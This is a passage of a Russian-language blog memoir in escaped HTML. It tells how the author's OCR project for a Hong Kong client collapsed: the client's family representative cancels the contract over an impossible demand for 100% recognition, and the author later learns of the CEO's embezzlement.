  &lt;blockquote id=&quot;UcPv&quot;&gt;Еще у нас заканчивались запасы денег, теперь уже наших собственных. &lt;/blockquote&gt;
  &lt;p id=&quot;7lvk&quot;&gt;Надо было срочно что-то решать, поскольку проект высасывал ресурсы как пылесос, а завершить на свои уже не получалось. &lt;/p&gt;
  &lt;p id=&quot;BQ2b&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;r7TO&quot;&gt;— Катрин приветствую. Прошу назначить встречу с Томасом. По поводу финансирования, все верно. &lt;/p&gt;
  &lt;p id=&quot;lnM7&quot;&gt;— Предстоит непростой разговор.&lt;/p&gt;
  &lt;figure id=&quot;A5da&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/ce/4b/ce4bb12f-422f-458e-85ea-61814d016214.jpeg&quot; width=&quot;2560&quot; /&gt;
    &lt;figcaption&gt;Вид на ночной Гонконг.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;mD5e&quot;&gt;Стопроцентное распознавание&lt;/h2&gt;
  &lt;p id=&quot;PCTS&quot;&gt;Заранее пройдя все досмотры, я сидел в зоне вылета Шереметьево, в ожидании посадки на рейс до Гонконга. «Ирландский кофе», придуманный специально для таких ситуаций почему-то никак не бодрил. &lt;/p&gt;
  &lt;p id=&quot;EWSf&quot;&gt;— А теперь к событиям в мире..&lt;/p&gt;
  &lt;p id=&quot;wM1C&quot;&gt;— ..Вчера вечером полицией был задержан известный гонконгский бизнесмен, владелец нескольких компаний в сфере высоких технологий..&lt;/p&gt;
  &lt;p id=&quot;vL0N&quot;&gt;В баре работал телевизор и диктор новостей только что перевыполнил план по бодрости, подвинув даже ирландский кофе. &lt;/p&gt;
  &lt;p id=&quot;ZIdj&quot;&gt;Посмотрев на посадочный талон, я крепко задумался — может стоит сдать? &lt;/p&gt;
  &lt;p id=&quot;S834&quot;&gt;Перспектива застрять в Гонконге на неопределенный срок, давая показания местной полиции откровенно не радовала.&lt;/p&gt;
  &lt;p id=&quot;Nxqm&quot;&gt;— ..предъявлены обвинения в мошенничестве, сговоре, обмане инвесторов и незаконной торговле криптовалютами.. &lt;/p&gt;
  &lt;p id=&quot;BtvX&quot;&gt;Несмотря на хреновое качество изображения, снятое с камеры наблюдения и закрытое черной плашкой лицо, было очевидно что это не Ченг. &lt;/p&gt;
  &lt;p id=&quot;HoJn&quot;&gt;Ни старший, ни младший.&lt;/p&gt;
  &lt;p id=&quot;lNbA&quot;&gt;— ..Гонконг, ставший в последние годы Меккой для криптоинвесторов со всего мира, ужесточает контроль и вводит новые ограничения в торговле криптовалютами..&lt;/p&gt;
  &lt;p id=&quot;74KC&quot;&gt;Дела надо доводить до конца, так что я допил свой ирландский кофе, взял посадочный и отправился к выходу.&lt;/p&gt;
  &lt;p id=&quot;41HV&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;MmhE&quot;&gt;Гонконг встретил проливным дождем. &lt;/p&gt;
  &lt;p id=&quot;ZGVS&quot;&gt;Хотя этот знаменитый город и расположен сильно дальше от экватора чем Сингапур, проливные дожди тут тоже регулярно бывают. &lt;/p&gt;
  &lt;p id=&quot;f6n4&quot;&gt;Но дождь хотя бы не льет месяцами, загоняя всех жителей под навесы и в торговые центры.&lt;/p&gt;
  &lt;p id=&quot;KhYw&quot;&gt;Из аэропорта Гонконга в город идет отдельная ветка метро, по которой я рассчитывал добраться до офиса компании Ченга-младшего в тот же день. &lt;/p&gt;
  &lt;blockquote id=&quot;k1q2&quot;&gt;Поскольку это была не первая наша встреча и даже не вторая, а где-то ближе к десятой — никакого смысла в оттягивании сложного разговора не было. &lt;/blockquote&gt;
  &lt;p id=&quot;3kRj&quot;&gt;Вряд ли бы Томас удивился моему помятому после многочасового перелета виду, отсутствию делового костюма или щетине. &lt;/p&gt;
  &lt;p id=&quot;XsYy&quot;&gt;Его папа — другое дело, но встречаться с Ченгом-старшим в мои планы не входило.&lt;/p&gt;
  &lt;p id=&quot;2Wx5&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;gPfB&quot;&gt;Мне отказали.&lt;/p&gt;
  &lt;p id=&quot;X492&quot;&gt;Вежливо разумеется, с извинениями. Позвонил секретарь Катрин и попросил перенести встречу на следующий день. На утро.&lt;/p&gt;
  &lt;p id=&quot;J8xx&quot;&gt;Секретарь? &lt;/p&gt;
  &lt;p id=&quot;Xvu5&quot;&gt;Совсем недавно Катрин сама выполняла роль секретарши, бегая по этажам офиса в поисках кофе для Томаса и его гостей.&lt;/p&gt;
  &lt;p id=&quot;N3NF&quot;&gt;Что это? Внезапное повышение? &lt;/p&gt;
  &lt;p id=&quot;pgoL&quot;&gt;Еще замечу для тех кто не знает, утренние встречи — всегда про плохое: &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;7Mtm&quot;&gt;увольнения, сокращения, разрыв отношений, отказ от сотрудничества, налоговые проверки..&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;lBkV&quot;&gt;Все эти занимательные мероприятия стараются проводить утром. &lt;/p&gt;
  &lt;p id=&quot;4Fmo&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;3vXY&quot;&gt;Утром следующего дня, побритый, помытый и в деловом костюме я поднимался на лифте к офису Томаса Ченга.&lt;/p&gt;
  &lt;blockquote id=&quot;VfFM&quot;&gt;..две «беретты» с расширенным магазином, скрытые в кобурах под плащом, кольт за поясом и старый добрый нож-бабочка — первая школьная любовь, греющий руку, возвещали о серьезности его намерений..&lt;/blockquote&gt;
  &lt;p id=&quot;yDaa&quot;&gt;Шучу конечно. &lt;/p&gt;
  &lt;p id=&quot;DdyY&quot;&gt;Хотя шальная мысль «просто пристрелить» и привлекала своей детской простотой, взыскивать долги с мертвецов пока еще не научились.&lt;/p&gt;
  &lt;p id=&quot;5qmS&quot;&gt;Как только доходит до денег — приходится договариваться, причем обязательно с живым человеком. Также как и сотню лет назад.&lt;/p&gt;
  &lt;p id=&quot;ChIe&quot;&gt;Спрашиваете, откуда взялся деловой костюм и забота о внешнем виде? &lt;/p&gt;
  &lt;p id=&quot;eqTm&quot;&gt;Ну просто я уже догадывался к чему все идет. И для такого п#здореза лучше быть при полном параде.  &lt;/p&gt;
  &lt;p id=&quot;ixuB&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;KH6V&quot;&gt;В офисе Ченга были серьезные изменения.&lt;/p&gt;
  &lt;p id=&quot;zp2T&quot;&gt;Со стен сняли картины, часть мебели отсутствовала, кругом стояли большие коробки — явно шла подготовка к переезду. &lt;/p&gt;
  &lt;p id=&quot;VHON&quot;&gt;Или закрытию?&lt;/p&gt;
  &lt;blockquote id=&quot;40zU&quot;&gt;В любом случае Катрин ни о чем таком не предупреждала.&lt;/blockquote&gt;
  &lt;p id=&quot;pKjN&quot;&gt;На рецепшне никого не оказалось, так что я отправился прямиком к кабинету Томаса, благо маршрут был давно изучен.&lt;/p&gt;
  &lt;p id=&quot;OzFO&quot;&gt;Проходя мимо пустых рабочих мест, выключенных и частично упакованных компьютеров, оставалось лишь мрачно гадать, что бл#ть все это означает. &lt;/p&gt;
  &lt;p id=&quot;I6IH&quot;&gt;В кабинете Томаса, полагаю теперь уже бывшем, за его рабочим столом сидела Катрин.&lt;/p&gt;
  &lt;p id=&quot;0R5C&quot;&gt;Судя по виду — в не очень хорошем настроении.&lt;/p&gt;
  &lt;p id=&quot;DPIG&quot;&gt;— Доброе утро, ты не предупреждала, что вы переезжаете. &lt;/p&gt;
  &lt;p id=&quot;LhRG&quot;&gt;— А где Томас?&lt;/p&gt;
  &lt;p id=&quot;Py8z&quot;&gt;— Присаживайся Александр, Томаса не будет.&lt;/p&gt;
  &lt;p id=&quot;SAsq&quot;&gt;Катрин впервые назвала меня полным именем, не Алексом. &lt;/p&gt;
  &lt;blockquote id=&quot;yFsg&quot;&gt;Французы — единственные из европейцев, которым без особого труда удавалось выговорить мое полное имя. Но даже они старались по-умолчанию  использовать сокращенный вариант.&lt;/blockquote&gt;
  &lt;p id=&quot;ztHi&quot;&gt;С чего вдруг такая серьезность? &lt;/p&gt;
  &lt;p id=&quot;Dobp&quot;&gt;И где блин Томас?&lt;/p&gt;
  &lt;p id=&quot;Tbz5&quot;&gt;Катрин при всех ее талантах, была лишь сотрудником на зарплате и не принимала ключевых решений. Без Томаса эта встреча не имела смысла. Но коль приехал — надо было доигрывать до конца.&lt;/p&gt;
  &lt;p id=&quot;cBlQ&quot;&gt;Все равно вечером на#бенюсь.&lt;/p&gt;
  &lt;p id=&quot;wUcv&quot;&gt;— Ладно, полагаю мое письмо ты видела.&lt;/p&gt;
  &lt;p id=&quot;Ag41&quot;&gt;Перед Катрин на столе лежала папка с документами, которую она протянула мне.&lt;/p&gt;
  &lt;p id=&quot;SrCt&quot;&gt;— Ознакомьтесь, Александр. Как закончите — поговорим. &lt;/p&gt;
  &lt;p id=&quot;US3N&quot;&gt;— Я подожду.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;Rv7y&quot;&gt;«Анализ и экспертная оценка проекта NOVA», значилось на обложке первого документа. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;jDvY&quot;&gt;NOVA — внутреннее название нашего проекта. Томас оказался большим фанатом Half-Life, отсюда и название.&lt;/p&gt;
  &lt;p id=&quot;kdfC&quot;&gt;В качестве автора была указана одна известная ИТ-компания, я даже не знал что они предоставляют подобные услуги.  &lt;/p&gt;
  &lt;p id=&quot;XDxN&quot;&gt;Интересно сколько все это стоило.&lt;/p&gt;
  &lt;p id=&quot;8av2&quot;&gt;Документ оказался весьма объемным, с кучей технических деталей, сносок, цитат, примеров кода и так далее — серьезная работа. &lt;/p&gt;
  &lt;p id=&quot;9oQT&quot;&gt;Тратить время на его изучение посреди переговоров было неразумно.&lt;/p&gt;
  &lt;p id=&quot;dJty&quot;&gt;— Катрин, при всем уважении, не очень понимаю что тут происходит. Но конечно рад, что вы провели аудит, причем повторный. &lt;/p&gt;
  &lt;p id=&quot;8D9g&quot;&gt;Я помахал папкой в воздухе.&lt;/p&gt;
  &lt;p id=&quot;yarW&quot;&gt;— Такого рода «заключения» надо было отправлять заранее, дав возможность ознакомиться специалистам и подготовить ответ. &lt;/p&gt;
  &lt;p id=&quot;dehh&quot;&gt;— Если ожидаешь от меня каких-то быстрых решений и немедленных выводов — извини, их не будет.&lt;/p&gt;
  &lt;p id=&quot;T391&quot;&gt;— Еще мы планировали встречу с Томасом Ченгом, CEO вашей компании. Я прилетел из другой страны ради встречи с ним. Чтобы обсудить важные вопросы, решения по которым может принять только он. &lt;/p&gt;
  &lt;p id=&quot;QNTN&quot;&gt;— Катрин, ты лишь его сотрудник, c ограниченными полномочиями. Без обид.&lt;/p&gt;
  &lt;p id=&quot;wePH&quot;&gt;Катрин все это время сверлившая меня недобрым взглядом, внезапно рассмеялась. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;6Dox&quot;&gt;— Александр, я не работаю на Томаса. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;ywuN&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;8W5R&quot;&gt;— Ченги — большая семья со столетней историей. Ты же не думал, будто Томас и дедушка Лу — единственные ее представители? &lt;/p&gt;
  &lt;p id=&quot;RSSn&quot;&gt;— У семьи есть свой инвестиционный фонд, даже доля в компании, которая проводила этот аудит.&lt;/p&gt;
  &lt;p id=&quot;4X3i&quot;&gt;— Я работаю на &lt;strong&gt;семью Ченгов&lt;/strong&gt;, не на Томаса лично.&lt;/p&gt;
  &lt;p id=&quot;e1V8&quot;&gt;Оказалось, мое понимание этой непростой ситуации сильно расходилось с реальностью. Но выяснять, зачем нужен был весь этот #банутый маскарад, не было ни малейшего желания.&lt;/p&gt;
  &lt;p id=&quot;2dUQ&quot;&gt;— Тем не менее у нас подписан договор с компанией Томаса, на договоре стоит подпись и реквизиты.&lt;/p&gt;
  &lt;p id=&quot;SdzC&quot;&gt;Катрин это не смутило.&lt;/p&gt;
  &lt;p id=&quot;Q3BG&quot;&gt;— Александр, у меня есть необходимые полномочия. Это все что тебе надо знать.— Открой, пожалуйста, следующий документ.&lt;/p&gt;
  &lt;p id=&quot;TQAR&quot;&gt;Я вернулся к папке и вытащил еще одну бумагу. «Шкатулка Пандоры», не иначе.&lt;/p&gt;
  &lt;p id=&quot;9jV6&quot;&gt;— Исковое заявление? Серьезно? Собираетесь подавать на нас в суд?&lt;/p&gt;
  &lt;p id=&quot;DLeL&quot;&gt;— Пока еще досудебное урегулирование.&lt;/p&gt;
  &lt;p id=&quot;X6Bp&quot;&gt;— Катрин, ваша компания имеет серьезную задолженность по оплате, из-за чего ваш проект подвис в воздухе. Последние месяцы мы оплачивали разработку из своих средств, которых не хватит для завершения работ.&lt;/p&gt;
  &lt;p id=&quot;IUUH&quot;&gt;— Если помнишь, я прилетел сюда чтобы договориться с Томасом о частичной оплате. Иначе придется увольнять людей.&lt;/p&gt;
  &lt;p id=&quot;VsZF&quot;&gt;— Очень жаль, пусть пришлют резюме. Возможно некоторых сможем нанять к себе в штат.&lt;/p&gt;
  &lt;p id=&quot;v5k6&quot;&gt;Чтобы вы понимали, примерно в таком ключе заканчиваются любые намеки на бедственное положение и необходимость немедленной оплаты.&lt;/p&gt;
  &lt;blockquote id=&quot;PhqR&quot;&gt;«Директора на мороз, команду к себе в штат» — так в нулевые происходило укрупнение большинства отечественных ИТ-компаний.&lt;/blockquote&gt;
  &lt;p id=&quot;WFbw&quot;&gt;На случай, если вы планировали «разжалобить» заказчика при кассовом разрыве или каких-то непредвиденных ситуациях.&lt;/p&gt;
  &lt;p id=&quot;CpGM&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;S2TL&quot;&gt;— Не понимаю. У вас не было претензий пока шла разработка, мы даже по срокам укладывались. &lt;/p&gt;
  &lt;p id=&quot;kqRT&quot;&gt;— Что все-таки пошло не так? &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;ZtAO&quot;&gt;— Пошло не так то, что вы, Александр и ваша команда — &lt;strong&gt;не справились.&lt;/strong&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;kjen&quot;&gt;— Выбирали неправильные технологии, например медленную Java.&lt;/p&gt;
  &lt;p id=&quot;zYAM&quot;&gt;(это было сказано абсолютно серьезно)&lt;/p&gt;
  &lt;p id=&quot;VhYi&quot;&gt;— ..не использовали стандартные методологии для управления &lt;em&gt;нашим проектом&lt;/em&gt;, вместо известных и надежных средств разработки, использовали как-то самопал. (видимо про наш &lt;a href=&quot;https://blog.0x08.ru/paster-overview-2025&quot; target=&quot;_blank&quot;&gt;Пастер&lt;/a&gt;, который мы тогда применяли).&lt;/p&gt;
  &lt;p id=&quot;DY3B&quot;&gt;— ..вместо надежных и коммерчески успешных средств распознавания текста, вы взяли какую-то страшную, устаревшую библиотеку из 90х. &lt;/p&gt;
  &lt;p id=&quot;MOO2&quot;&gt;(это она про &lt;a href=&quot;https://tesseract-ocr.github.io/&quot; target=&quot;_blank&quot;&gt;Tesseract&lt;/a&gt;). &lt;/p&gt;
  &lt;p id=&quot;m9e8&quot;&gt;Слушать эту чушь дальше не было никакого желания. Чушь остается чушью даже на фирменной бумаге и с десятком крутых подписей.&lt;/p&gt;
  &lt;p id=&quot;4Zqz&quot;&gt;— Ээ Катрин..&lt;/p&gt;
  &lt;p id=&quot;2n8L&quot;&gt;— Я еще не закончила. &lt;/p&gt;
  &lt;p id=&quot;Kep9&quot;&gt;— Своими неверными действиями и ошибочными решениями, вы, Александр, критически ухудшили качество разрабатываемой системы.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;iQ7u&quot;&gt;— Не обеспечив &lt;strong&gt;стопроцентного&lt;/strong&gt; распознавания документов.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;lENT&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;LuDT&quot;&gt;Для свободных от оков технического образования стоит пояснить:&lt;/p&gt;
  &lt;blockquote id=&quot;Uzzx&quot;&gt;при работе с OCR &lt;strong&gt;не бывает&lt;/strong&gt; ста процентов распознавания, поскольку в сам алгоритм работы заложена определенная ошибочность.&lt;/blockquote&gt;
  &lt;p id=&quot;WMX1&quot;&gt;«Распознавание» это угадывание или даже гадание, временами на кофейной гуще. &lt;/p&gt;
  &lt;p id=&quot;KoTV&quot;&gt;Катрин тем временем продолжила убивать мою веру в людей.&lt;/p&gt;
  &lt;p id=&quot;0fAM&quot;&gt;— Семья Ченгов очень старая и уважаемая, достойна только самого лучшего. Мы платим за самое лучшее, за &lt;em&gt;сто процентов&lt;/em&gt;. &lt;/p&gt;
  &lt;p id=&quot;KEim&quot;&gt;— Не за 93, 95 или 70, которыми вы с Павлом по какой-то причине так сильно гордились, а только за &lt;strong&gt;сто&lt;/strong&gt;.&lt;/p&gt;
  &lt;p id=&quot;vDyK&quot;&gt;Я пригляделся — зрачки не расширены, озноба нет, речь спокойная и уверенная. Увлечения веществами за Катрин замечено не было, но говорят шизофрения подкрадывается незаметно.&lt;/p&gt;
  &lt;p id=&quot;bImC&quot;&gt;— Катрин, а откуда взялось.. столь глубокое понимание в вопросах разработки? Мы не согласовывали конкретные технологии и инструменты, когда подписывали договор с Томасом.. &lt;/p&gt;
  &lt;p id=&quot;uicE&quot;&gt;— ..вопросы методологий и ведения проектной работы — вообще наше внутреннее дело, точно не предмет обсуждения.&lt;/p&gt;
  &lt;p id=&quot;eZ6X&quot;&gt;Тут я задумался.&lt;/p&gt;
  &lt;p id=&quot;EE8Z&quot;&gt;Все время пока шла разработка и обкатка технологий распознавания, Картин была погружена в технические нюансы проекта.&lt;/p&gt;
  &lt;p id=&quot;sJA7&quot;&gt;Она казалась нам умной и компетентной, особенно по сравнению с Томасом, поэтому мы не скрывали от нее «внутреннюю кухню» — технические моменты, коих было немало.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;v9zT&quot;&gt;Чудес нет и многое действительно получалось далеко не с первой попытки. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;sVj2&quot;&gt;Были проблемы с обработкой PDF, с массовым скачиванием документов, была куча сложных нюансов с алгоритмами OCR.&lt;/p&gt;
  &lt;p id=&quot;bfaW&quot;&gt;Как оказалось, Катрин все это аккуратно записывала, составляла отчеты и затем доводила до &lt;strong&gt;своего&lt;/strong&gt; руководства, о котором мы даже не догадывались. &lt;/p&gt;
  &lt;blockquote id=&quot;bhiG&quot;&gt;Хорошо что я не стал брать Павла на встречу — такая подстава от любимой женщины, пусть и бывшей, точно выбила бы его из колеи. &lt;/blockquote&gt;
  &lt;p id=&quot;uVmu&quot;&gt;Причем надолго.&lt;/p&gt;
  &lt;p id=&quot;M2n3&quot;&gt;Но я еще не сдался окончательно, стоило сделать еще одну, последнюю попытку.&lt;/p&gt;
  &lt;p id=&quot;HwDI&quot;&gt;— В техническом задании — в приложении к подписанному с вами договору, есть пункт про процент отбраковки. Мы предупреждали, что распознать все не получится. &lt;/p&gt;
  &lt;p id=&quot;5Kg6&quot;&gt;— Этот договор?&lt;/p&gt;
  &lt;p id=&quot;DO79&quot;&gt;Достав из ящика стола наш подписанный договор, Катрин аккуратно разогнула скрепку, а затем.. порвала его пополам. &lt;/p&gt;
  &lt;p id=&quot;tmO8&quot;&gt;Несколько раз.&lt;/p&gt;
  &lt;p id=&quot;7PlW&quot;&gt;— Достаточно доходчиво? Или нужны пояснения?&lt;/p&gt;
  &lt;p id=&quot;SdPm&quot;&gt;— Тут чек на десять тысяч долларов, в качестве жеста доброй воли. &lt;/p&gt;
  &lt;p id=&quot;YUuI&quot;&gt;Катрин протянула мне запечатанный конверт.&lt;/p&gt;
  &lt;p id=&quot;2ClN&quot;&gt;— С этого момента договор с нашей компанией считается недействительным, мы прекращаем сотрудничество.&lt;/p&gt;
  &lt;p id=&quot;UbUw&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;bK4z&quot;&gt;Когда я уже был в дверях, собираясь покинуть офис, Катрин внезапно окликнула, видимо желая добить.&lt;/p&gt;
  &lt;p id=&quot;0gRx&quot;&gt;— Александр, совет на будущее. &lt;/p&gt;
  &lt;p id=&quot;u4SW&quot;&gt;— Вы с Павлом слишком много о себе возомнили. &lt;/p&gt;
  &lt;p id=&quot;YnP7&quot;&gt;— Ваш опыт и знания не уникальны, есть более грамотные. Всегда есть.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;ksi9&quot;&gt;— Мы нашли новых исполнителей, они &lt;strong&gt;гарантируют&lt;/strong&gt; стопроцентное распознавание документов.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;463e&quot;&gt;Я взглянул на Катрин — женщину средних лет, не глупую,&lt;s&gt; не угашенную в хлам&lt;/s&gt;, с хорошим образованием и успешной карьерой, явно не испытывающую никаких финансовых затруднений и проблем в жизни. &lt;/p&gt;
  &lt;p id=&quot;RPTx&quot;&gt;Посмотрел в ее глубокие голубые глаза.. и не нашел что ответить.&lt;/p&gt;
  &lt;figure id=&quot;fwHt&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c4/94/c494d6fa-5544-4d77-acb9-4bd60f251a4b.jpeg&quot; width=&quot;2560&quot; /&gt;
    &lt;figcaption&gt;Видите корабли вдали? Это все танкеры с нефтью, так местные играют с курсовой разницей.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;AyCS&quot;&gt;Тотальный разгром&lt;/h2&gt;
  &lt;p id=&quot;i1c8&quot;&gt;Это было фиаско. &lt;/p&gt;
  &lt;p id=&quot;2cT9&quot;&gt;Потери от этого проекта были сопоставимы со стоимостью пары квартир в Москве. Мы потеряли команду, людей действительно пришлось увольнять.&lt;/p&gt;
  &lt;blockquote id=&quot;37EB&quot;&gt;Какое-то время спустя, не выдержав тяжелых испытаний, вышел из бизнеса и мой тогдашний партнер.&lt;/blockquote&gt;
  &lt;p id=&quot;lS6t&quot;&gt;Окончательно расплатиться с долгами удалось только через три года, но это был принципиальный вопрос.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;UD8U&quot;&gt;Чернышевы и Ланнистеры всегда платят по своим счетам.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;kjAq&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;ZEZC&quot;&gt;Несколько лет спустя, я сидел в маленькой кофейне на одной из гонконгских набережных, в ожидании встречи с одним из участников тех событий. &lt;/p&gt;
  &lt;p id=&quot;pVzZ&quot;&gt;Который смог бы прояснить для меня пару вопросов.&lt;/p&gt;
  &lt;p id=&quot;eeoD&quot;&gt;— Эрик привет! &lt;/p&gt;
  &lt;p id=&quot;qm07&quot;&gt;— Сколько лет прошло. Смотрю, ты постарел.&lt;/p&gt;
  &lt;p id=&quot;F77Y&quot;&gt;На самом деле Эрик в те годы был интерном в компании Томаса и учился в университете. Парню было лет 20, не больше. &lt;/p&gt;
  &lt;blockquote id=&quot;LfBD&quot;&gt;Так что постарел скорее я сам, а Эрик — расцвел.&lt;/blockquote&gt;
  &lt;p id=&quot;EmCH&quot;&gt;Ченг-младший привлек его помогать математику с расчетами. Потом Эрик активно участвовал в эксплуатации нашей системы с распознаванием и даже сам писал DSL-скрипты. &lt;/p&gt;
  &lt;p id=&quot;hADC&quot;&gt;Умный малый.&lt;/p&gt;
  &lt;p id=&quot;dk9o&quot;&gt;— Алекс! Рад встрече! Не знал что ты в Гонконге. Надолго кстати?&lt;/p&gt;
  &lt;p id=&quot;epd0&quot;&gt;— Да я так, проездом в ваших краях.&lt;/p&gt;
  &lt;p id=&quot;rFvb&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;vxua&quot;&gt;— Получается, на Ченгов ты больше не работаешь?&lt;/p&gt;
  &lt;p id=&quot;7r2r&quot;&gt;— Нет. Вернулся в университет, решил продолжить обучение. Наука мне ближе, хочу когда-нибудь стать PhD.&lt;/p&gt;
  &lt;p id=&quot;2pJv&quot;&gt;— Достойное занятие.&lt;/p&gt;
  &lt;p id=&quot;L7rT&quot;&gt;— Так расскажи, чем все в итоге закончилось. Проект жив?&lt;/p&gt;
  &lt;p id=&quot;HjVq&quot;&gt;Эрик рассказал.&lt;/p&gt;
  &lt;p id=&quot;nP0i&quot;&gt;В общих чертах я уже представлял, что тогда произошло в бывшем кабинете Томаса, Эрик лишь добавил новых деталей.&lt;/p&gt;
  &lt;p id=&quot;HY1D&quot;&gt;Ченгу-младшему все-таки снесло крышу от роскошной жизни:&lt;/p&gt;
  &lt;blockquote id=&quot;sPyR&quot;&gt;вещества, бл#ди, азартные игры или алкоголь, а скорее все вместе — привели к тому, что Томас стал подворовывать из компании.&lt;/blockquote&gt;
  &lt;p id=&quot;3VhB&quot;&gt;Это заметили и довольно быстро его &lt;s&gt;наказали&lt;/s&gt; отстранили, по слухам отправив на лечение в частную клинику. &lt;/p&gt;
  &lt;p id=&quot;l2IE&quot;&gt;Было запущено внутреннее расследование, из-за которого счета компании оказались заморожены. И начался тот самый внешний аудит.&lt;/p&gt;
  &lt;p id=&quot;8NHC&quot;&gt;Хотя саму компанию не закрыли — те коробки и упакованные компьютеры в офисе, которые я наблюдал в последний визит, действительно оказались переездом в другое здание.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;Cn85&quot;&gt;Расследование внезапно выявило грешки еще и Ченга-старшего, который на поверку оказался далеко не таким крутым. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;gedx&quot;&gt;«Дедушка Лу» прекрасно знал о проблемах сына, но покрывал его перед семьей как только мог. На чем в итоге и погорел.&lt;/p&gt;
  &lt;p id=&quot;y9W5&quot;&gt;Наша «подруга с сюрпризом» — Катрин тоже чуть не попала под раздачу, проморгав залет Томаса, хотя была поставлена за ним присматривать.&lt;/p&gt;
  &lt;p id=&quot;fd1b&quot;&gt;Вот такие зигзаги судьбы.&lt;/p&gt;
  &lt;p id=&quot;DO65&quot;&gt; — Так что вам просто не повезло. Вы, ребята, оказались не в том месте и очень не вовремя. Жаль что все так закончилось. &lt;/p&gt;
  &lt;p id=&quot;AkME&quot;&gt;— Сам проект был отличный.&lt;/p&gt;
  &lt;p id=&quot;Ik0J&quot;&gt;«Отличный проект», ага. &lt;/p&gt;
  &lt;p id=&quot;xWgY&quot;&gt;И ведь не объяснишь, каково было увольнять сотрудников и затем годами расплачиваться с кредиторами.&lt;/p&gt;
  &lt;p id=&quot;rDIm&quot;&gt;Для Эрика это действительно был отличный проект.&lt;/p&gt;
  &lt;p id=&quot;D1Ir&quot;&gt;— Катрин еще что-то говорила о новых исполнителях — с ними хоть получилось?&lt;/p&gt;
  &lt;p id=&quot;8yO1&quot;&gt;Эрик рассмеялся. &lt;/p&gt;
  &lt;p id=&quot;LHDU&quot;&gt;— Получилось, ага. В некотором смысле.&lt;/p&gt;
  &lt;p id=&quot;AGv9&quot;&gt;— Это причина по которой ее понизили до службы охраны, выкинув из правления. Наняла каких-то индусов, те ей наобещали.. &lt;/p&gt;
  &lt;p id=&quot;8vsk&quot;&gt;— ..чуть ли не космолет построить.&lt;/p&gt;
  &lt;p id=&quot;Y7Jr&quot;&gt;— А когда стали поджимать сроки, индусы пропали. &lt;/p&gt;
  &lt;p id=&quot;iWaK&quot;&gt;Это меня не сильно удивило, поскольку уже был опыт работы с индийскими командами — разгребал за ними последствия.&lt;/p&gt;
  &lt;p id=&quot;W7Xv&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;CjZ0&quot;&gt;— А как вышло, что Томас внезапно решил переносить все в облако? Еще и прямо посреди разработки?&lt;/p&gt;
  &lt;p id=&quot;ZNhn&quot;&gt;— Да это все Лу, старый маразматик. &lt;/p&gt;
  &lt;p id=&quot;CELN&quot;&gt;— Привел каких-то типов, работавших на ту известную облачную компанию. Познакомил с Томасом. &lt;/p&gt;
  &lt;p id=&quot;62K1&quot;&gt;Видимо Боб и Майк, неужели они так везде и ходили парой?&lt;/p&gt;
  &lt;p id=&quot;XU4Y&quot;&gt;— Эти двое, «облачные парни» каким-то образом прознали о нашем проекте,  подготовились и убедили Томаса на переезд к ним. &lt;/p&gt;
  &lt;p id=&quot;T05r&quot;&gt;Действительно, кто бы мог им рассказать..&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;iS3d&quot;&gt;— Они провели презентацию, рассказав как у нас «все плохо и криво», наобещали светлого будущего и выдали бесплатный период в облаке.&lt;/p&gt;
  &lt;/section&gt;
